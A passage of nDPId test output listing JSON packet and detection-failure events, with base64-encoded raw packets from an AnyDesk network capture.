uPNeixV6kwjxcudwC1fWxJVrFLGFSDh++YoHBT4+z6OkQfBWJBk7EXsSZx2Q=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2070,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +04625{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2072,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":15656,"pkt_caplen":3197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3197,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhBtAAIAGAADAqAG7wKgBstOUG56PMMRyWcRHc1AYIBOExAAAFwMDDEJZ4hNO+msW7Q+xKskDO9um9WPpxS1SChEtllzlLxNrY22UWMElKK4ArlGJ6z8bgrAevHfxjqb9hLOwwzPU+u9Hf0y1UcmJo6G7C594b+II3zTZPakUmdg\/moUUL9uZCYTOar7FueuzQJVK8P1c6sGWMQf\/BhECf5o15O5hpw1XPbbfhgnfA\/xps9ClJybZPTf+GONJ3rk\/6ljdopBcZ+82+hPCXOgfeQsCR6naKUb74JSfqPB6Q7lOmSOgtmgx6BbU5MEercEcHYCEpxpUfhpXOJgymDDYPcE0OUQUpLtcbgcpX0P\/GO\/renYXG9\/ocWA3X3iG3ZBhSLfJQlizbHKwGID6RglrdwP\/iFDa87eCkoZLhaVeYk2zSA9m30MHPxGrd9YgdRGTlRJKMUg+7rB+0M9pReZXoUGez6MXNfMIL\/vr+lbDPq+x8W1QvlFiltvkitL7SPvsLU80SJ35pXb8ySaWF4O7KfZ9T228Bm5zubpqA2ARllwVlHEpz\/cSuvwqfGQMcHtB82nyYSWq3y3Mx2UKB2fk0E\/Y6rWQBO+XwCxsU2t00r6NgmLFnltrBluw2nQGBmZULUg7R5bxfQdRN7XZ0Q2G6urhgw0thvTiou8bOkFBWKr8fCjzzj2QbTimuXqBM4Dm0G\/RB2CBOtNisOTs67gN\/lb5ZnD\/P5xGy+b2+GlXL524D8cH+pHll38dZ\/dqupaJs7\/rcPzv2zCv6jWstGVNDCznuGUlnUmKU7ZyJbl0RhgVjLCvPAIKYic1DPc7oPi8R6Sxnta9gWSbtrccGvB7EvpPU94gAZ5s+UbEh1mfyAs1iOb2f33Bs0FCqQfGOZYOtPSFUXBTOmM35PkYxhH9lVFvLxDUFrUnToXhJFkPiubKVSilzdnL4nEn7yuyhfdMPALZTDTl8vMtK1JZIP70LlCZ7TrT5ap\/HQlJ4O7mHbjHO3+NgHe4\/BF4FK+FYFrPSFOKcWAx+ev4ZlRyh1r21Bp3oYYuGTPAezhdKIVReEcMhm7UqYX7AQWSILj2WSyQJFrFVpEe4krnQgUtvlzKJprY1Tm7bYseuFf0lAK8cWIr1vkPfdWnexjibcQIQg6siSpPUVW9gJUjsRBtb7YEjRWsel3J2ao+FF8zPbeUc4MoIkK6ZYFZ3TdqvCl+rv8FTSrohBb9XcV5rwzFKKqyd7x2McbvRStORwGBhGbGXCBJ6AuLStNC8yyna8wpomfahBd\/CD21XEyUeWraog\/D\/1p4uG7eZLnhl6RwyDlc74gPYTLg7Qi9lPkY+gfVskKpcKN4m4It4HpqzRmljG6+LmuyNkZ5htHgaIsfbtBhA7ZTg2uUDGygK0VsqdLUszLnre19RRJ2mqvNQG6dCqobq0Y22fXwpZggp0XeDbABzCuL9RalEhe3WCse6Ps9IU44ouW+McPU9p1xeS9ZgvQm5zZ6X1tSEks0foroFbsIh2YghzfywjHlwevp\/EeDF+KkAKlCupXnr0Qlv7cU13hbejrnOkRSBIHyeo+V4f3iV9p6K5SQrBcSxUqPGvhnqojRNXHHiQALbjRbmz7mfA40IQGnzNU9Ijz51C1EitLQ0OGby64mT0w3eFdxIhj5SxBou5PleHXqGivEaKP\/VhKvty8o455zkpYq\/lOv5MghGDWOIrT4xl\/QNRKYj9loyoKm0r3jiiCCdSZCtlkaJ3X2V7M2q7ClW2CZLfqmvZUY42WkPSPtOjcrazQdSlwSCTl66gV\/kvh8tmIJKJFvNMhGD9uqbMXfMb\/Vm9sYckClho97GT34qft74Aemddt3wmoB7RbBZsPqIH7XP5+yfYoLFLTwwkStfTPmxVjGbs64U3G0IverKCWhtMw60gbj9QzddlE0MvH2gW1qlX2hDnDN6+GvHRsuWUKM0BOegNF6hoy6QSoVduG22DuKYeUCOvgqPNxrj5C8jHPt9oz7ttwbK0kFxDCTvHrtnlERNDh+6Ou\/BGNUl9RxsfYpIubHBYgn7FaS6n+V8p0iV1lnC+2eiM2S1vjCNZoF5oAjpn\/5dJpkYeTDs6nm0wq6F9gYPCbMI65DFSNlP9Uf82937JUN+bfTaOHK66Z7mAcOfot1aqqdXOCW6RchR7Y+2McE6zI3QvUXETaNldIIZnwVyTyXiCzJEQ7yLR3KITv8S+EaLj3vvhC1LfAXfDT2uZOUD1ve9Z3V501A54hJAyLl8xrqjqw425ZBz7Y0PeAFrOVqefTi1mCUKyRXKV6WvNK4wZIdFabzvVmPKppbSAHDgfiE6ZclyUxkJq5wZWOYn\/ej\/8MdLB5mYTS37QE\/kv8axZum88em\/g1drBoJC3ne1v4cw2I+QbIle04tjH2E7DyQc6jtxiTiMH8rnZZn2TtGGKXUFeus1QNMPMmY0jGD1ZZvH+l2EQ+qcaNh4Wm2Bhgst1bWjnY7n+nJTM091n\/NOpIufpNpVcLUtNZg5wmrwGT8juzPzt4rQBMAbyy2q6iLWp4kXq2d4jymGf1F7B5n3Bpg0U8a1IptUSgcY0jQ79iBSZaseF7EwJnHMsqHf1WEWodhs67WkIdim\/1DBCf7QjPcrfnJx7ddr8Djqz7s1CbnVQ778BJ4DF\/iREQujC7hiv59a1xJ\/2FQaoHjgOucmnQ3GV1uJeU8OOAZGCC33JcXduF+2To7COhObzKerzhbgFGAvEHmTA0QlralDIcSUUWni9fvMNOD67Sde1ILKIjV1vPbLlRLsfmNxEYdt4eOHbeNTkBKs6o4J8EmWXPd4jc7YsJ4B12ChlEv4RLkaNwUEftTkW4QNJNS9F\/LmpoVDGgezdUTTFzOwRQYUghnTCNSvBjXAhvjCk3ExePNyMtXOdJKOEwwVWUZk2Sl0GsSAdmM+9u1IjGwMlqQhI9zrup9F\/N3y8fnZMRgqx7l4SyKznLfwrn7N7mCbk14\/qWnpC+x+r0MB+ZD+u0NF8sg05Vn+gAFvV3PoqI0DWtjF2XlvTltYZc25jafAvvw4DHNDmZ1vFSfmVfc9x0hDnTUqCHAV94ZiB9LNuQB40ODlp4LrbGwcJzqAZF7RKgUFVmr6VGPf6NtqmJPIuFd197GWBH+sCQvdtlLCzG0VQG3NYokmbaAop1Pr3coFcD+R0V4MbSdCDBVyad57aTJBIck4UE4L\/7v5bl4yCEnCwhAmQp3EM19Vt7VPBQNtgWDLbbrCEV7ns7GKgdZkIMxuamoeTsXTmGYmKQmsu\/xJsx6+O9WRbCVpbEBuKP6NuSR7TPuQWRl2oYSAhZge0E+2Pqq4Ge2pdraa1VqAaU\/1vDsBBt09vBmEas9pbHw7suvyWEv2wovE0ki3BKJ7mCnBkuNSnr1pigaKxIzljPhOZpIxrTGxtmb3mAtKXMPBUyQg8\/dDmuU0Ct+FBDzDM5IsGAyV4dgvg537qrM2xO9vZQmW+v4nsDFTMgyKnJNu8rKfbsLlt1z8mTM8JnyUX2qWEHrSMINmuJrSYAFEPlyNG+8IEv+Hy\/IoqxgJc4wmn7wKbBAQnMaDssMB2\/rQh\/HOm0jkekNQo1COi5Ui1nRUaptNM+BlqEX83TdsiZeEk7RswKPKC6AUdG4O6qeWU3NUnWFdxaBA3uRqxRlJcdAqNG2QIVOrZiADbb3qf7x6\/InCUB8HBaMGmQ10LsistDX+MZU9nmuBRPHYXaUQywk+vuzZMk53AgzmlqoepfnJBXdqcGB9zKtKr9UBsadl7SsxvBGU+QilZqDn4luqVUoUWMKPhkxGgIcC0psWHkI++jbOU5ov80ysSwOMpigxrCN3IOBrowjJEdDNqorVYbxu0dMAPmDC53ggTrSFddFQ6MMvOj+yzSBH2hv3qz2Itp\/\/\/YyF6wy9Esm0OYOdsfN2IWY1IS0v5kECQCsXuMNXffXaHQ17FmFq80rYDCxZWMj6cbAcL9LUel72NNX45yYnuNwtkCWkrJuG8kSalHHjcXuSlz\/yfRf+gZaZb7Sz4TF8j103U+3HDsZd59J77ZAap\/4NgM+IwXL0S\/4sRTmrNLkMR565JaWCRYkEuAEymB1J0hstI0pLPpUM7cxcv8ZuHKLZ4O+urcEDt2fqkp1rqD9NnZ+rYY32dNA86ryxqXvvvMLlYSI2B\/tWMw\/2DJ\/g7ukggbjdK2eywXBDBYHV3C7WaTjiuEmyepJEcUJagrCxSe9TFDJDoUaTHq1nD8XHIM="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2072,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3163} +07828{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2074,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":16231,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhB5AAIAGAADAqAG7wKgBstOUG56PMNC5WcRHc1AYIBOExAAAFwMDFXpZ4hNO+msW7qVZrF+1I0y6kdFAfug3V8\/M8sRSRt\/5dQNpiQKOGj4fSYhlMeqW4bmVc7ijh2lKmi+2JSZhuiJSPyRjN3DxZBaQGJJJcKETa6KTKUxVR4BG0hCquN2eYZD57beOKOb18OovSoJMaTi9z9sRJVSK9uQvLeCKOhzPFTxHa56qSDvoH45AO9EnfgeH56ZEsxqJE6zf71g4dLdrllSm41d+hOP7l0x1RM8KPiDjPwGukarjcK7MtcORitofi0HhbB3WiqjuFJf47eGjO69A0ug\/YQ0Hvw5h0nMOlnQmuwwMCW53OIzc9ddFjv8rWE3wetqLjXpoiObOyoagiJxPa4v0tV5dM5a0vjT6Hbi7Tf7tBCOdwwZ4elCzPLiuM3z5+t5FTZ2X0fq\/EdedbYDqlwm7UR0S2Ckg45K6gEZFGKZhJeK8cZXa2HcrBGlZbZpFG3JHQzc0ugXkAjavHqY3IOJH9B80\/kLE3miX0cWZrD5cuHIN+8TcE\/wlInZlqVleFlmFoIeAq2z\/fa+fcphvH1NFO22oY36g45LQ\/CMFmCTW0vYYtswc9RCVzN6aPMEgl3OEO+qeRCpX8zVe8VkrJY+OnnwKu9jisgVMlu15gpiX+wQPw1H2o0Ps1xT8B2eV6TwV13CDvr1eAHdjuOXrqXvMAtWBggcpnPQjeljUQrMqvBbkUu06VF9nvnBynFRUucqMc49AXCd++XUuM0h4UPCbLvalB8TkOWDQsep\/IClpnCFIc7\/7dqVgAySzr+0beX9jO9jvSLG9BPWf9TCETgYuCIJ3jNyaCYIrjzjCtZYPKV3AQfgOXOOuwACxMXYVsyd8eNlX1p1Gf7xIgcXfaOlvNYRePkUK6Jud3IlP6pIcMX1Qyke+Dm1pOxlo3ZIsjvDvXLy+HoAfSUmQwfAbK42p8lVszKJkZmgjTZsgK0sDccW5EoxtKIyaLuYe2zI2y34eVk58qOrBYry5SjaKXDgIRlyFyfZItSZ5BeoZwQevEK6LEoLj+giM1v2EXI5DQdYjZMrwAmgqN84Ctbb0+w3v\/+UjgP+Zq3KHJfFx85Zq+lq7UqUBgkk1PQhArcZ55O1V1TLc9DIbddafGAtm2HEWlDEp12m9v11rxn5S6GYBy3NYTREELS8pmWHzXa3aH+IkRKt0oqD6Hd7HX4Fhdyv4Zj9stxdvGcOeePZp9CIzYaOzqlilSdl+8OjJ\/t\/rSpyfoNqrCKWcrJZxM0KgEA+bfjLvPXq26KPdtbEFouqQ14jBQMmBAqe\/aXzSJxUPR0AsJkyg7IddV30Ghs9jxEjZ9ck+0fJbYAgXay4w7mwtvX2DOftELypRYHgPFs+rqCQ2A+EhobgzrBQSXQWub\/Sr31+rFv7DiJ6TEJC82lrB3l\/cHTfxNrFvrWKHhmuZHOQrGYzbr9WMYFdw6ZM1hoRsb8OxFQuE0RsZuB2cp1kY\/a8Vkq0\/L3ahadqJZ8gFjhOGfgeAK9jhTqx5q3sWNE4QbZfYAZ69YKbeP+YJjroHwgfxA48zmYbO4MuwtPXYDXVsO+kRJweJ69XsTo2bES69WCG2pwuoU6l6yvvTua82+uuwYFwuwHEp5avP4XDH0ePtYiqqOkZOfLdqGQvG++RSVkTu0Cjriqwjxzq88PjNiT8NbInpWwxEUyb6XHsM+U8E57UvKDHtsGoZ5pE\/s1XTk7iWfbKaFu1em6lUAh3Pv7MG9s75oDpX1h\/IYg\/evLXKurxwLXvGkZSSLY4QVsmApET2LfkQI3uhaRZ9iapQ3N0aHkRx39I\/Df73MrLI\/FkmAJJB8TnFZ7jCN6+pkebYsyysA4gLLXALYUdR7aY\/V4xFSE2aermqSQmip7h+Kc71OFZNTEwlqnbTXTRfLq3PLbgjZHhMJLm31bNd0dLTj6jaX9GuSiw5OQLSTwozf\/mJRTjn8nZfY4eKoesoY6Ruq4jUNaZ0yoq3lVrBGEg5n9dqWdT2mAoSmPGsRx6nr3BBQQIMcNT6MU4NU0LTLZNRxKOXDIN5y6MbJk3neCQf8sBcuw86DFbf+EwhpQQrDr0oHD7I6fhMjoTJ2w6kBLWGzPDs9a71RjuL5ED9j8+PdGMLHVqxj57tTezd8tbJcYsCHrurpntrkfR9A4QtBUK9KmT4jfyIieUBPwJqx9V5s\/tZQcBEaCt8pgBWkD0KBIcp3Dg8nDDS\/ezKyZ1WMP+6wgbXSAbp\/QpCJG9j5YckKezeaeV6MhisaYSuEh\/L0hiXcRz9NLzGYu5WsrgxFpGQfJKPq+PaiLWljfHOQUb9uD5IDNyxcv\/Fvmk\/96gXCCtUmNnVCyRtJrc1sledVHqyC1XUbZR\/o3c5LMNoJYXhU7pd0h+vHJlbA8dytJOx9sfTLoyzrid6lAVuQQ5KAvYHxoZIzYUt\/ZMW2EVFxhwXufBMVFsNmQ7U+8FFfP+G1Omd0gBlNrMs1hwkBlXZEKYLI+I4M66oFWG3O3VWWNsioBFDmzqkkBNaXyhZe1Or6zSoahL34SpJWcV1dPgd9c8Sk+3StSzD5g4MT2\/Ghofe3BvXt5XZPbSNLgx4SDevNepYbioF4ahEzfeP5WX0aE5xwdKhrbTUna9\/Kl8Nai1QbayffRy9A01G+ElJDE3DNSzeWdGhGPutTTOTZQa8Mpvs+5m\/ovORSOWk0ypkgIEo6VFOuvaAOPfq1CMhrRZ0Y5UorN6PMWpdSiMUvIWgC+rBhIEwOBYM2lmRSG+Ge2hNzlIV9ug+7Snc2d1SWd4A7msRpoOTGmRD82Dup9WfpkHyQOsd\/Zi8CR5egfxJjV4JqtJlfFGYcCkXDyMxY+27e+exkFK3Bok8eueEqj7Gdrte8Pku9LFY5qgdZSq5xfHpFxwSychktfM+YcmzwWxcdv\/YOWEEGhG5odeDKQzrlVFt8x09uyD03IoPEFhCSajmk79uf7QhgOvDrXaAkSV0GJ8WxWTjHkRzJPVyndhtT6QDhfsqUBL\/NQZcsNkTm10a7qdsUqhNHbNYUVqKAX+iGALqnopVHwjDQY4AcqQSe4xWbkel6dKASLRgBmGdr+g4D7IA4JZeX6yz9k7mKlUrb8SagOZW77GSCVeZ65Wd9KH5yRVMmMIN5p7\/1qTbzaztDVSNViDFKO3yyEI5bs5LdFXazJuUNXv+enuMqq5bF+QQytEM9P4lNJuCwJ4fXzNM1Va\/jgNHkMmJcsNCMEOB8KRsUp3RiFVYS7VBSHD7ZL\/SOSrbSq6lW\/\/\/ea7OOEJ8hQ+d+8mbbqzUe24DZvHDAzWrnhODAuuXmpNk83Q6wEKgoc3C0lMsbidL+fjdjjU2zCLojdz8R\/Vuj1GPjP5ftGeBb9yql4VnD5COOC3MPE8pT5qemtHJEe+rw1xuuj9v1+Jd6ymgAIYwe84HlWMl3E+cwHSLld1ZA6QbJPdPELR0QtOG\/\/JHMpZpbTLD4TKhj2lF2t7LARP+4jKxpqzB8YbeoAP5ulvVCqmc5JrRf4iPO8WTsUyp21zlQFI5z5hnfiORTYbmLIiNuKozGwywWj5Nxq6ggK41A9ICsLSZRo5wAR\/ZSrR1oR2SHzAu+s3mjiyJCzv03w1hGQ06Krza58jUVO\/fdIKHWTDlFeAvvHa5Q6s9NMnmgAMRELqOLP\/s5j93G1Mq6giJVgoMhsr82API5oEYoDk3OI1ihPEsM7W3WATd6Fe+QrOZwLdM\/mpjb3zyRw\/L91R\/uiVKifNJvEprON32XQvXe7ckGMI8OpQNgzRP53NOR9D6MknbtRHtnTqmcvVal1xWuSLXGhtmP0NNzkGWctdANPHLRNuxSGxRYjP9NEwiHdqkm+RLrJS32K7zLAN7a3mVTtWf3e6bi7DSoIjV5HX+s57aTamYuJtF3kXzGPOBknTfMuvX22n0GU\/26JbT1AAPlSHVWxWdw1PR0NvQnUZWXTrMm\/TgQs8eKeq3ohB6HBO0OHu7bdNnJxTQsw1Tg8LWXZq48mR+M2i5wQUaN3Qp0Ss+36tgAChcNtu6hYSINyKZ3OY0\/A421t6uUZxp4Tn3PLgUtCO\/Xbq+ClPumRDefRL\/jbtluYs\/lMOR1xLs27D9A71iGm3YbMzhgHl0TXyF6erjRM9tjWKe6Idqs37BQYkmrFdwY4W23J4FUNb8FLi1XijRqRhH23k85CCjqVp\/cWLd1BesadOt+cjxtVvaKNvqBgM+Qw57GOrXl0Wt9SuMSTA3HqQyCEp6ZCcrB1J830irabuTm3TLy7UCxSMtZY7aTTHakHPn4hfsF9qicLyz7u32tPtWkC7MFwKpmrAA0AICadAaZ8l9ch5+nBKYIeCJKIwymvyUz2+rK1dAZGhvfMxzGGQH8qxRhk\/quj9XndVjQcnu1+zjheDSmLLvealyD\/IW6wDO+1HkFJ1vxYLdOVp\/00NsAHGX+7u8zl2FTu4LC8ycJT1jFyc50HBMkvQ1hltlM5AR4emuUB57yIw3x8HvM1I8XXoI1Lk8IBycog6KbPC4XC0Nk6CXJX6\/\/OCNyckU33OdnupvS+sIsc9kjJnvXZY8ap7cZIves87W2XOWUuGyGjF4KtwfPuxcvUHEkRujKIww0m3qGsvk6p3pY8rKkJeZo7QwHHO6RprZmeWuUFLVGxf0lw1+iHB7Xt7fMYRPInZcFF1yiQZ5lGpppiOXymTKrv\/bSeP9+OWv8UECkgK16AcBeHSb+xX256l2MbvTfc2CBUwwKtqj0t9MGwVgaXjzXlVMqU4ASlps0+ekc4106OdTRnfjuHACF\/dcIY9+tzsIOqt3lbCOC2l5WIw\/IwVURrbGSkbDANOrEe52fWY8ZRvY80GlHPXJLx0MsqdxT89UuxPzIkXhRAKx7iXhOOw9YrVONU624GMCpQX9v8FVqWgHqifaQ+DbiM4HZ\/RoaLxjvVU+ztUn9L1myV+vvgddS3hVwY5v07NTcqtRWAony5uewBZAMKVwvudTa4caIKXmNfTQ+zC5VTMcbyITmX6hMIcSrcgoDt2b4SQrqwfAZmubvZF6ldwzApvQ+3V\/zD2XHxEc+PFfF5cJotoP\/Y2cxHaZeWzM\/12NK+1JS3QZczeHYgbPM\/d1FoobhEfgbt+Plwbw68VcGPTPSJjsYOtQ3DJFFYPxNQgT1N6BR7iiZArfRcZpzOTgePsZg9ZCnEdGtWFoZPtLNA\/XYQ\/ev9Rc8TJ5mS6wznXUW0cZrx4OO\/7fXT\/CwVnEuqK1rsV4fp5f4b3yr6CWp6ldSIgmTjOmnmrEKWDngQVnqJ6+61dslWrUpRn6IgBmZkMR7uTL\/W1I25kkexEC7tCt6aYMq8zoIOiGsU3IqgWW3OwzMqpFhuHCMhLxAiVCGYaZ8eiIfxwYpHXwCaw\/Rfe5CyRCla1xGfwcuJbU1yZpabor5RqNKVzVNA0iuGP4Fczkak1Bf4ZLjQSgIHqWZW3+pHaA2w2r2wAYXSVmQ+r8bKfH3Bq4JOm5sYoYyppJd0ZaeKFb2P5wZqcXZmq3sZVNmctZiTr9HspkSLgLG9p\/JnSXeNU9cw+nnZqJqJZLmbiM\/Lf\/+p5+mc\/bVhByIO8IgO18OU+KhtHRcR9AeX2a7+JkuBekuYaTgPvLi0oPt2Q9ZwmGICJ\/dcI\/QOWmUwoLeuL7Q4YNCVrcfFHg5aPZubtwASirhtFuzNVKqwzpatULy4iXvHQypyWfx9kDzzIIQ482GpYev4Xdv06zWGVzzGOzzIwZlKD1sOkQTb3SvtRRjW8BEPoMZ5z7XXk0CIGVu9R9DNwjvZ9HnWcNgkQ6KjXBYXy5AtVVJx1lQ7JDZXKVaK3Fhc0FY8y1NnjDE4NK1iZH8u3tcmsJF2ZFD3lWdV5+URmnaH2u+sO9Uk3A806c8VNGmeKDBk6tuwBNARFCoNYO70R6IPdkKd2V\/sQ5ezT7IwtJYHHVa8eGqPC4Hb4yUGgCP0giureC931iVojhS5zvbY\/QaIVDfriO88+5j\/Y\/Aj1zrWOd1\/ENSW6vlCZaMrbtnIXG2NBDmB\/rgTqom2xPSoM8in28YLXWsJYy0LIJGHz0aQLDyjfZzukjC0ytReNvcKMIdnKNPwUh8lB2PeYtENQ8c+a\/FY3mFak0siSn1EypaVXWHgKED6LbHUy6wraDCLGO29LMkW72ZJmXpBRlTPMIOb984VtT7a4cy0MlfpedDlXIIjy+T0vuFMHKKJIofkoWzdRb\/HWx5JrNTNu8q77LlJuo4M5XkFmsRPUHuIC0Dyq\/Wys4yJO4IevCHCgFHZzI5D9A5UnhKlRGR1QqJIfQ\/TMPZTgmKitCQUwZbVM1bXTTIzCCqiqlzRsYs3gU4bgpRrRKVgvcLhsIaVhDmRdwhegB42eEjSAJ64wzgrhxSQB5OrSagk8xebCrxvrxtVfwomlSKYi2G6cy05SfvfmhEA7Pjio7CzJQ6ojWj7YW2mJou1bK0btrBRvk8n5Vbpzt+xTXg28kiTmP2vbN1vXe7Q\/cuLkdp8h9blNfwOT5nq6YvjMmjRpCU2AKSmiXK2laQ6R\/3ipJHr4pCfUKWuElS4GO9tHmvsa+IPacozjJ3WtwDOf\/8l27FpGdErl4eVOb0UYSXYHebrRvKqbd1E0SJkF28yzPIcEpVo01ad8\/QWWghiYfYRX0raHAlQmpzBu1CzpHarDxh8vsYMjHfHY5OkwWelenlEH7Ykm3m6rc6hFrPazt+1rrp\/jprVdhssczod3QfoDK14U+tEddqrhIYTYJI8r6tO+CCSi\/aD032Q69Nomxy7Jckr2unHbafiIwqYOPpSf+oLzVCjmZXbQMtW\/XD8OyNLtkVlaWWTEKTGzBHHLXy99mzrdReCDxoPmr5Q\/\/tHUPrpXwRemQThb5O7mQC7yOQkbaFwGAJk3WN9q2ZGi7mOPmcc+B0Cgkrog0IymLgBqa6D9z4OGR0\/UwZ9leB\/2cHJ64jH5PGoJhkxtVQrWezTDj+a8Bw1wlP4NwCfKxzUGkFY5dhYenxhuSo\/VOCkbds+pX++axNB\/CJwCOZ62cKyeQYPvIlylWCCVIW52ejQxA2TigIw2WZ9t2Lseg9vPRN0aZJRms5f14uHWChemsA4qXZP628H19f\/u4Dar3pyuGpN4MjpY8alfb7pnP0S3vKkXjnvwmAf6txKNHehiVuYsthEbEqIw+YGO+ERFL5SXqnRaswj\/KEGzr9xAx\/qpgp4ZqGnuRDyhwlwDiumLjqdvPJb1ghS1nVg5YEOvMMP34uNXKaeEzHP8vi61vKOkq1KvyXMSNQPmlFhthsuCokGlfiqm3i2G19NSGQ6vEZnQ5oEOQeVE2WUgpDQFQzImwuEW97jL3CLFkN4sk3NHtRqa9o7BHYYAWjMF0qHe+iw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2074,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07828{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2076,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":16516,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhCJAAIAGAADAqAG7wKgBstOUG56PMOY4WcRHc1AYIBOExAAAFwMDFXdZ4hNO+msW7zyphOi5X+VcltleUkylu9BukYmInD5Jlpd\/yFhnpX0oHHv2MnZbc\/KPkqiZCtSoUBEvagqiFQXdcRsEQSGI\/\/IZ7cqgkU0Xt4sZS3qU\/TMec7quj3r5jMBttov43jVBR5wOOBThq0XGKt65Dp6yGwQBcyPcMNuMJmX1Hg2J+TxQ8g7c0Tezg35sDswlXz\/pNF6n8Ceqy\/63Hp60ACpDRvbmdzcSkrgHfY6FCev72t+5Czk2XTslWqVYuyAH4sLMZw9hFxeNvS329VejuzBC4sj2Ujz+6n8ErP8+TC1qmloihHdy91+2\/ZFQkBbQ4g3UrZHu4dV6z1LfRj4RhC+BhRjPeTtlR1v75kZf3vN3ojm7JloJygiNJR2Rugu7FIwu9T+hkDX+Qj63R5m2n9n8yOAphYf5OI6Vuf\/dydDrxRnDV4JQ\/75g\/Pqq7RfehcR3BXAjNI+NL7sVE5mXm9sEFHGnI5KgEjwHEK1coqHTIV+TkU1OGSRnZ11cFmt9eyZbE95\/tUx0HHb8figX5sCD0Qh1i5o66QTW\/nTBEV2y2q1AWrgxgXuq1tR5cYfsnPffCmeF\/ZxKNV+IEY5buQVhLu39eCX08LbCoaHSmkbvym9vy0c8zPYd6xqskYKN9z6mrTEaX8IOj0LzIyi4Bqzftl8DeV8uIA2FDGPSik8EvOK0Ly8+YWRuhJI74M5N+9sT8AVneimDswV8x3uebXuH9RdupAXw+e0NrMDjHy0U0tWgrY7EIzpdmrgPcSGuxTwC1KaAUuiI6lWJHzM2twfEgsvIsOwXtNQpMST72VPcmsVfHBPYFFrRX7ybYADChQaDChcEr3Z7gwP1367W+cIbdmVixDiWAJ0OXsM+bjedFzQv9Kre1wTYVxU2Wj8PUBlgGJWWwWtlhPTS7SXaa+X8LtvHgBFlXuilIantyhnqGUn0eP1hoe2ZY+ojI51nPSnsr0Z4iH2zue8LxtG2uFvCNbO7I3JvE3GVH6AxeGcGDj\/zDW+tICszilDjSSD9tAwwFkF6IZkdy2ctTaprSmZ97JWcHq\/yTJD+geXB1JXlah3njv3RQJhciDqMajXACGwFYBK7q4yuXpv7Ov+L0\/k8iIZRqo\/ogSGTwlqox0Y1POhg1k+dQKluS\/mIj7YQIpdH2IJ7Xyw4giNwbJocIjq2fYLHMscbTI3eQJ2If8jmRd\/Rq7PbMDrEvqhLTA+sjg31ZBpKRhioskN9h4p3BKKU\/3zv7\/dQgDb2cGM91qdy0PSf1N0fvPDidyef5sQAbOjJ0+m5mwCob6+GwybyfalWih2GPEll1CxL0BS+IypQShFRKSsgGkX7B\/CXDKSHY19cWJxaiTWvgocH1rBUh1lVQDBcg3mnBL7fKrzow81l4AXt2BRYOgssbx4fXoFkAm8JhDy14KlB3CfWRCrBnLe0y8S+thYIf6xjdhnW4Fpj3lFGdTpSZZarbWgyrZYySyJR7ftmqJA\/3KqSD0pfRAAtumkoka5KRlJtbNf8qITP26BTKMk4487xhhS4fNwKkdmZ7kltJC1JnZP\/HhBr\/ONXmSqg6QYic3RE2w6u1mhc5\/b6Iy2Bf87+NQxG13Q+9kVQBC4e1YIqssU3zY\/oggQC279EEF3a6tGErWP1p4eTkRToevMZy1Bptyzreo+y2wC8pwEkUEzZwM5DfkmntQj8DLM9r41KDhU1jz5PzFWrBxc2hgLIGqZblf824d0YwrNjwg\/XjWKT0iCkr6AhfQnONBt57oGZ0KGlCPmZOqvGADqseYGTfy5DvNDoVnZ3Q1oPXBXKTfRBiuH6MjICyP4299DAFSKCbZiMfGZMxquMf05Gq9li2srwf7BwzsgvvJE4rIUDxsmtP2B\/0Lr8D2WQOWJaxo+s\/+xju5GGODOGFk6K5qhHh4Rw8N\/q3a48tZgCkCuUR3meh8DoK65Vi3k5lbtOkySLl7b3rCSTC7k9I7yWFHb8bjaaw2M8eVuH7m1qsaULxzf0Wrn2LTdHZQfnrf\/Gm8fs9xxLQw50\/XiqV0eevjpv7+vDY2riDfPkRiebiRJVcOMeRJtHoUSRRHDJJxXSRglEQwcSarLaK44e+TVBvprv9fKlYmOeDgtWRlHG2Bf5IZ4nSdSms+g6lqb8PoFBB4cMZtGVdD0rhRX725snFQNdwFRmkQsqlrCODeP1IAuaeHdxBbTjf1yGYFZ+A3rKNAl46VrNZzHHFUoADNq2oloPwUA+hF7tPrABuM8F1bvra9eD5m+HFT+Erzh+vrBzbFBaFf9CDU2sQm5aPyEIZdHN\/AGe6Fk1jU5OsvNWhc5fS72I323ot0\/8ehaW9fQAy0jCHxfPpbyzHnbbwqyGZ+tjl\/TLjO3FmpuEOeQKIQcr+efgXU+OejAxq18CZYSlJAaZNO5Nfrkac30sKSLdtHUsFhXU1ebrlDv7uLraY3cRDZBo+XU6\/7oAXXkn2xecwfb45gX1SGI2sin0aknhUpRpeATCTc2iS3rkza7skMVFksQmttNnhViL84LGfdt5LZiyvAdDML30R8aKuk4+EMkX6dfrojbBFOkhL\/e9Vohhb8dmF0bmCJpBkQwcF4NNKI0PBCc3mrQMN27IhOHFPuMVfNEUCtfp\/Gfx8hooJWTlB6\/4E\/uSrhuIWtcqqRMSYobU9GWbnJifQWeFQOSGqPT4uriR2cxEZZNmMj0PYf0hbFUd7CFdVxU7orC38IYBr3d2x614LX\/qi1UFWn+9iBtJShNgwu4Sb6kahuY5g6brp6a3EghVCwJD3dYpwV8AbC8YqvvMgno3wJuU3TdW\/hLoqYZHk